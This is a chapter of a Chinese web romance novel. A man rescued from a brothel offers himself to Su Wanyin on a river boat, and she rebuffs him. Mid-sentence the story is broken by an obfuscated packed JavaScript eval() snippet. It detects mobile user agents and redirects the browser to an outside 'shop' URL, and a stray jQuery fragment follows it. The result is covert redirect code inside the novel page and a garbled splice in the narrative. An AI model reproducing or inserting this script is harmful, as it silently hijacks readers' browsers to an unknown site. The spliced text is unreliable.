第一百七十七章自荐枕席


    银珠风风火火冲到殷公子的舱房前,想也没想,一把推开了那扇虚掩的门。


    “殷公子,方才确实是我不对,我……”


    她后面的话,全卡在了喉咙里。


    门内的人闻声回头,身上松垮垮的外袍刚褪下一半,露出大片白皙的胸膛与修长的腰身。


    水珠顺着他未干的发梢滚落,滑过清晰的锁骨,再隐没于衣衫的阴影中。


    他并非习武之人,身上没有那般虬结贲张的肌肉,只覆着薄薄一层,肌理线条却流畅而优雅,宛如上乘的瓷器,在昏暗的船舱内泛着温润的光。


    银珠的脑子“嗡”一声,炸了。


    她直愣愣看了好一会儿,直到对方略带惊诧的目光与她对上,她才像被烫到一般,慌忙转过身去,一张脸烧得滚烫。


    “你、你怎么当着人家的面脱衣服啊?”


    身后传来殷公子既无奈又温和的声音:“银珠姑娘,是你没经过在下同意,便推门而入的。”


    他的声音平铺直叙,没有半分责怪,却让银珠的脸更红了。


    “你快穿好衣衫!”她又羞又恼,声音里带着自己都没察觉的颤。


    片刻后,殷公子温和的声音响起:“银珠姑娘,在下穿好了。你有事找在下?”


    银珠这才慢慢转过身。


    他已经换上了一件干净的银白长衫,墨色的长发随意束在脑后,衬得他愈发面如玉冠。


    她不敢直视他的眼睛,目光飘忽,脸颊依旧滚烫。


    “我、我是来同你道歉的。”她说话有些结巴,“夫人说的对,我不该总那般处处针对你……总之,今日之事,的确是我的不是,还请殷公子原谅。”


    谁知殷公子听到这些话,脸上浮起一抹苦笑。


    “银珠姑娘,你不必道歉。其实我这几日,也一直在苦恼。我留在苏姑娘身边,却什么也做不了。我只会弹琴,可苏姑娘对琴艺似乎并不感兴趣。生意上的事,我一窍不通。我甚至……不知道如何才能让她真正开心一点。你说的对,我在苏姑娘身边,便是光吃饭不干活的废物。”


    银珠没想到,自己那些刻薄的话,他竟这般往心里去了。


    她看着他落寞的神情,心里莫名愧疚。


    “殷公子,您别这么妄自菲薄!其实夫人她……她很高看你的。方才她看我针对您,还、还把我狠狠呵斥了一顿。”她补充道,“想来,你在她心中的分量,是很重的。”


    “当真?”


    殷公子漆黑的眸子倏然一亮,仿佛夜空中最亮的星辰,直直映入了银珠的眼底。那一瞬间的光彩,竟让她有些晃神。


    可那光亮只持续了一瞬,很快,他眼底的神采便黯淡下去。


    “可即便如此,我依旧不知自己能为苏姑娘做些什么。”他低声说道,语气里的无力感几乎要满溢出来。


    银珠看着他这副样子,心里也跟着发堵。


    她本就不擅长安慰人,此刻更是搜肠刮肚。


    “殷公子不必烦恼,你只要为夫人做些力所能及的事情便可,夫人心善,不会同你计较的。”


    “力所能及的事?”


    “对,就是你最擅长的事。”银珠说完,觉得自己在这儿待得够久了,浑身不自在。


    她草草结束了话题,“殷公子,我不跟你聊了,我先去换身干衣衫。今天的事就算过去了,我们讲和了啊!往后我不会再找你麻烦了,你放心吧!”


    话音未落,她便逃也似的拉开门跑了出去。


    殷公子没有动,静静站在原地,目送着她的背影消失在门外。


    “最擅长的事……”


    他低声呢喃,唇角勾起一个极浅、极淡的弧度,带着一丝外人看不懂的深意。


    “我忽然想到,自己能为苏姑娘做什么了。”


    入夜,江上夜色深沉,唯有船舷两侧的灯笼,在墨色水面上投下两道破碎的昏黄光影。


    苏婉音刚换下外裳,正要吹灭蜡烛歇息,寝舱门板上忽然传来叩叩两声轻响。


    “苏姑娘,你睡了吗?”


    是殷公子的声音,声线清润,带着一丝不易察负的紧绷。


    苏婉音动作一顿,眉心微蹙。


    这么晚了,他来做什么?


    白日里银珠的莽撞,让她心里还存着几分歉意,不好直接将人拒之门外。


    她重新披上外衣,走到门边,拉开一道窄缝。


    门外,殷公子安静站着,江风吹起他素白衣袍的下摆,衬得他身形愈发单薄,面色在灯笼光下,白得几乎透明。


    “殷公子,夜深了,有事吗?”苏婉一声音里透着疏离。


    殷公子垂下眼,长长的睫毛在眼下投出一片阴影。


    “在下有要事想与苏姑娘商议,可否……让在下进去说?”


    他的姿态放得很低,近(乎)恳求。


    苏婉音心里那点不耐烦,被他这副模样冲淡了些。


    她沉默片刻,终究还是将门完全打开,侧身让出一条路。


    “请进。”


    她转身走到桌边,提起茶壶,给自己和他各倒了一杯温茶。


    “殷公子想同我商量何事?”


    殷公子抬眼,目光飞快地与她对视一瞬,又迅速移开。


    烛火在他清亮的眼眸里跳动,像两簇摇摇欲坠的火苗。


    下一刻,他忽然站起身,在苏婉音错愕的注视下,抬手解开了腰带,褪下身上的白色外袍。


    衣料顺滑地从他肩头剥落,堆叠在他脚边。


    里衣之下,白皙如玉的肌肤在昏暗的烛光里,泛着一层温润的光。


    “苏姑娘,请你给我个机会……伺候你。”


    “噗——”


    苏婉音一口茶尽数喷了出来。


    她瞪大了眼睛,简直不敢相信自己的耳朵。


    殷公子此时神情羞赧,眼底却是一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306185|196452||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    片孤注一掷的严肃。


    他不是在开玩笑。


    苏婉音的太阳穴开始突突作痛。


    “殷公子……你先把衣服穿上。”她的声音有些艰涩。


    殷公子的眼圈瞬间红了,脸上掠过受伤神色。


    “苏姑娘是嫌弃在下的出身吗?当初被家人卖入南风馆,并非我所愿……”


    “不,跟那个无关……”苏婉音站起来,从地上捡起他的外袍,想给他披上。


    殷公子却退了一步,避开了她的手。


    “从前你已成婚,我自不敢有半点妄念,即便心中爱慕,也只能将这份心思深埋心底。可如今你与夫君已然分开,难道……就不能给我一丝机会吗?”他垂着眼帘,声音低柔却字字分明,“我一无是处,既不会经商营生,也不会武功护你周全,甚至连粗重的活计都做不来。像我这般无用之人,真的能长久留在你身旁吗?”


    他缓缓抬起头,眼中的水光仿佛随时要淌落,目光中满是卑微与渴盼。


    “我不愿离开你。我只想一直陪着你,哪怕……哪怕只是以暖床之名,只要能留在你身边,我便心满意足。”


    “殷公子!”怒意和无奈一齐涌上苏婉音心头。


    她上前一步,几乎是强硬地将衣衫披回他单薄的肩上,帮他拢好前襟。“你有你的才学,你的能耐,何苦用这种法子作践自己!”


    “这不是作践!”他陡然激动起来,反手紧紧握住她的手腕,力道大得令人心惊,“我心甘情愿!苏姑娘,你明知我的心意,自你将我从南风馆那污浊之地赎出之日起,我心中便只有你一人!苏姑娘,即便你不给我名分,哪怕不把我当人看待,我也毫无怨言!求你,求你让我伺候你吧!”


    他眼里的痴狂和卑微糅杂在一起,像一团烧得正旺的野火,烫得苏婉音手腕生疼。


    自从怀了身孕,她便格外厌烦应付这些纠缠不清的麻烦事。


    她猛地甩开他的手,声调陡然拔高。


    “殷公子,你若再胡言乱语,我就把银珠叫来!”她盯着他的眼睛,一字一顿,“让她亲自押你回你自己的屋子!”


    一想到银珠今日那副凶神恶煞的模样,殷公子心里莫名犯怵。


    他垂眸,将所有不甘和委屈都咽了回去。


    “……是在下唐突了。”他整理好自己的衣袍,对着苏婉音深深行了一礼语气中满是涩然,“若苏姑娘何时改变了心意,恳请……恳请随时告知在下!”


    说完,他才缓缓转身,步履沉重地走出寝舱。


    待他的身影彻底消失在视线之中,苏婉音“砰”地一声关上舱门,利落地落下门栓,将那片扰人心绪的夜色与纷乱彻底隔绝在外。


    躺回床上,她却再无半分睡意。


    银珠说得对,真不该将这殷公子留在身边。


    本以为他只是性子敏感些,怎料竟荒唐到自荐枕席的地步!


    看来,得想个法子将他送走才行。